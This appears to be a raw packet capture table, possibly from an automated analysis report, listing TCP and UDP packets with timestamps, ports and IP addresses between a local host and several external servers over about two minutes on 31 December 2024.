Dec 31, 2024 09:51:15.209798098 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:15.210011005 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:15.210129976 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:15.210144043 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:15.875155926 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:15.881016970 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:15.881035089 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:15.882270098 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:15.882350922 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:15.883636951 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:15.883714914 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:15.884176016 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:15.884186983 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:15.934772968 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:15.990617037 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:15.990641117 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:15.990648985 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:15.990699053 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:15.990703106 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:15.990714073 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:15.990735054 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:15.990745068 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:15.990752935 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:15.990760088 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:15.990798950 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.079484940 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.079509020 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.079574108 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.079593897 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.079621077 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.079639912 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.081633091 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.081655979 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.081701040 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.081707954 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.081729889 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.081752062 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.146433115 CET	49923	443	192.168.2.7	142.250.185.164
Dec 31, 2024 09:51:16.146471024 CET	443	49923	142.250.185.164	192.168.2.7
Dec 31, 2024 09:51:16.146536112 CET	49923	443	192.168.2.7	142.250.185.164
Dec 31, 2024 09:51:16.147053957 CET	49923	443	192.168.2.7	142.250.185.164
Dec 31, 2024 09:51:16.147069931 CET	443	49923	142.250.185.164	192.168.2.7
Dec 31, 2024 09:51:16.169970989 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.170003891 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.170042992 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.170062065 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.170075893 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.170097113 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.170654058 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.170671940 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.170730114 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.170737982 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.170774937 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.172344923 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.172363997 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.172406912 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.172415018 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.172442913 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.172457933 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.173386097 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.173402071 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.173451900 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.173460960 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.173506975 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.260540962 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.260560989 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.260606050 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.260617018 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.260663033 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.261224985 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.261240959 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.261312962 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.261318922 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.261392117 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.261970997 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.261989117 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.262028933 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.262034893 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.262063026 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.262080908 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.262156010 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.262171984 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.262203932 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.262209892 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.262233019 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.262296915 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.263127089 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.263153076 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.263185024 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.263190985 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.263216972 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.263241053 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.263974905 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.264015913 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.264039040 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.264044046 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.264084101 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.264103889 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.264121056 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.268157959 CET	49915	443	192.168.2.7	13.107.246.44
Dec 31, 2024 09:51:16.268170118 CET	443	49915	13.107.246.44	192.168.2.7
Dec 31, 2024 09:51:16.280493975 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:16.280522108 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:16.280618906 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:16.280812025 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:16.280826092 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:16.904820919 CET	443	49923	142.250.185.164	192.168.2.7
Dec 31, 2024 09:51:16.905014038 CET	49923	443	192.168.2.7	142.250.185.164
Dec 31, 2024 09:51:16.905026913 CET	443	49923	142.250.185.164	192.168.2.7
Dec 31, 2024 09:51:16.906081915 CET	443	49923	142.250.185.164	192.168.2.7
Dec 31, 2024 09:51:16.906161070 CET	49923	443	192.168.2.7	142.250.185.164
Dec 31, 2024 09:51:16.907120943 CET	49923	443	192.168.2.7	142.250.185.164
Dec 31, 2024 09:51:16.907227993 CET	443	49923	142.250.185.164	192.168.2.7
Dec 31, 2024 09:51:16.947470903 CET	49923	443	192.168.2.7	142.250.185.164
Dec 31, 2024 09:51:16.947489977 CET	443	49923	142.250.185.164	192.168.2.7
Dec 31, 2024 09:51:16.995565891 CET	49923	443	192.168.2.7	142.250.185.164
Dec 31, 2024 09:51:17.120214939 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.122291088 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.122318029 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.123384953 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.123828888 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.125322104 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.125350952 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.125386000 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.165940046 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.165961027 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.214939117 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.237797976 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.237816095 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.237827063 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.237839937 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.237862110 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.237871885 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.238185883 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.238185883 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.238207102 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.238351107 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.324671030 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.324685097 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.324717045 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.324765921 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.324779987 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.324831963 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.326282978 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.330216885 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.330239058 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.330440044 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.330451965 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.330986023 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.416474104 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.416496992 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.416794062 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.416794062 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.416810036 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.417907953 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.417929888 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.417969942 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.417979956 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.418004990 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.418100119 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.419734001 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.419750929 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.419836998 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.419851065 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.419989109 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.423249006 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.423266888 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.423331022 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.423340082 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.423398018 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.509267092 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.509305954 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.509385109 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.509406090 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.509421110 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.510241032 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.510266066 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.510333061 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.510340929 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.510426998 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.510699987 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.510719061 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.510765076 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.510765076 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.510773897 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.510843992 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.510863066 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.510896921 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.510907888 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.510920048 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.510972977 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:17.510999918 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.515021086 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.633311033 CET	49928	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:17.633346081 CET	443	49928	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:21.226077080 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:21.760479927 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:21.760536909 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:21.760700941 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:21.764199972 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:21.764220953 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.470132113 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.471882105 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.471896887 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.472335100 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.472851992 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.472934008 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.473598003 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.515340090 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.596534967 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.596568108 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.596585035 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.596705914 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.596746922 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.596801043 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.681205988 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.681233883 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.681292057 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.681324005 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.681389093 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.682935953 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.682960033 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.683034897 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.683053017 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.683223963 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.769440889 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.769464970 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.769521952 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.769551039 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.769577026 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.769587994 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.770257950 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.770272970 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.770311117 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.770328999 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.770353079 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.770397902 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.771214008 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.771230936 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.771270990 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.771289110 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.771328926 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.771328926 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.772419930 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.772437096 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.772470951 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.772500038 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.772514105 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.772537947 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.839935064 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.858498096 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.858525991 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.858588934 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.858622074 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.858647108 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.858666897 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.859038115 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.859051943 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.859091043 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.859097958 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.859134912 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.859498024 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.859515905 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.859549046 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.859555960 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.859572887 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.859590054 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.859957933 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.859972000 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.860023022 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.860028982 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.860419035 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.860440016 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.860481024 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.860486984 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.860516071 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.860546112 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.861228943 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.861279011 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.861293077 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.861300945 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.861315012 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:22.861323118 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.861367941 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:22.963469028 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:23.212552071 CET	49994	443	192.168.2.7	13.107.246.63
Dec 31, 2024 09:51:23.212558031 CET	443	49994	13.107.246.63	192.168.2.7
Dec 31, 2024 09:51:26.725084066 CET	443	49923	142.250.185.164	192.168.2.7
Dec 31, 2024 09:51:26.725163937 CET	443	49923	142.250.185.164	192.168.2.7
Dec 31, 2024 09:51:26.725234032 CET	49923	443	192.168.2.7	142.250.185.164
Dec 31, 2024 09:51:26.727627993 CET	49923	443	192.168.2.7	142.250.185.164
Dec 31, 2024 09:51:26.727649927 CET	443	49923	142.250.185.164	192.168.2.7
Dec 31, 2024 09:51:42.882324934 CET	443	49805	104.98.116.138	192.168.2.7
Dec 31, 2024 09:51:42.882395983 CET	49805	443	192.168.2.7	104.98.116.138
Dec 31, 2024 09:52:16.206455946 CET	50075	443	192.168.2.7	142.250.185.164
Dec 31, 2024 09:52:16.206516981 CET	443	50075	142.250.185.164	192.168.2.7
Dec 31, 2024 09:52:16.206593990 CET	50075	443	192.168.2.7	142.250.185.164
Dec 31, 2024 09:52:16.206828117 CET	50075	443	192.168.2.7	142.250.185.164
Dec 31, 2024 09:52:16.206844091 CET	443	50075	142.250.185.164	192.168.2.7
Dec 31, 2024 09:52:16.833533049 CET	443	50075	142.250.185.164	192.168.2.7
Dec 31, 2024 09:52:16.833925009 CET	50075	443	192.168.2.7	142.250.185.164
Dec 31, 2024 09:52:16.833956957 CET	443	50075	142.250.185.164	192.168.2.7
Dec 31, 2024 09:52:16.834275961 CET	443	50075	142.250.185.164	192.168.2.7
Dec 31, 2024 09:52:16.834563971 CET	50075	443	192.168.2.7	142.250.185.164
Dec 31, 2024 09:52:16.834619999 CET	443	50075	142.250.185.164	192.168.2.7
Dec 31, 2024 09:52:16.883335114 CET	50075	443	192.168.2.7	142.250.185.164
Dec 31, 2024 09:52:26.783618927 CET	443	50075	142.250.185.164	192.168.2.7
Dec 31, 2024 09:52:26.783683062 CET	443	50075	142.250.185.164	192.168.2.7
Dec 31, 2024 09:52:26.783801079 CET	50075	443	192.168.2.7	142.250.185.164
Dec 31, 2024 09:52:27.995179892 CET	50075	443	192.168.2.7	142.250.185.164
Dec 31, 2024 09:52:27.995215893 CET	443	50075	142.250.185.164	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2024 09:50:42.800167084 CET	123	123	192.168.2.7	104.40.149.189
Dec 31, 2024 09:50:43.334148884 CET	123	123	104.40.149.189	192.168.2.7
Dec 31, 2024 09:50:46.820404053 CET	53548	53	192.168.2.7	1.1.1.1
Dec 31, 2024 09:50:46.835768938 CET	53	53548	1.1.1.1	192.168.2.7
Dec 31, 2024 09:51:11.787123919 CET	53	58085	1.1.1.1	192.168.2.7
Dec 31, 2024 09:51:11.799295902 CET	53	60215	1.1.1.1	192.168.2.7
Dec 31, 2024 09:51:12.800669909 CET	53	58248	1.1.1.1	192.168.2.7
Dec 31, 2024 09:51:15.201898098 CET	54492	53	192.168.2.7	1.1.1.1
Dec 31, 2024 09:51:15.202044964 CET	62424	53	192.168.2.7	1.1.1.1
Dec 31, 2024 09:51:16.136456966 CET	56324	53	192.168.2.7	1.1.1.1
Dec 31, 2024 09:51:16.138706923 CET	61029	53	192.168.2.7	1.1.1.1
Dec 31, 2024 09:51:16.143381119 CET	53	56324	1.1.1.1	192.168.2.7
Dec 31, 2024 09:51:16.145560980 CET	53	61029	1.1.1.1	192.168.2.7
Dec 31, 2024 09:51:16.272944927 CET	58045	53	192.168.2.7	1.1.1.1
Dec 31, 2024 09:51:16.273154020 CET	59517	53	192.168.2.7	1.1.1.1
Dec 31, 2024 09:51:19.065246105 CET	53	54974	1.1.1.1	192.168.2.7
Dec 31, 2024 09:51:19.893661976 CET	54290	53	192.168.2.7	1.1.1.1
Dec 31, 2024 09:51:19.893968105 CET	59187	53	192.168.2.7	1.1.1.1
Dec 31, 2024 09:51:29.891305923 CET	53	58400	1.1.1.1	192.168.2.7
Dec 31, 2024 09:51:37.065658092 CET	138	138	192.168.2.7	192.168.2.255
Dec 31, 2024 09:51:48.941416025 CET	53	53300	1.1.1.1	192.168.2.7
Dec 31, 2024 09:52:11.415004015 CET	53	56862	1.1.1.1	192.168.2.7
Dec 31, 2024 09:52:11.517545938 CET	53	52340	1.1.1.1	192.168.2.7
Dec 31, 2024 09:52:16.196841002 CET	61109	53	192.168.2.7	1.1.1.1
Dec 31, 2024 09:52:16.197037935 CET	53612	53	192.168.2.7	1.1.1.1
Dec 31, 2024 09:52:16.204947948 CET	53	53612	1.1.1.1	192.168.2.7
Dec 31, 2024 09:52:16.205585957 CET	53	61109	1.1.1.1	192.168.2.7
Dec 31, 2024 09:52:41.266387939 CET	53	55763	1.1.1.1	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
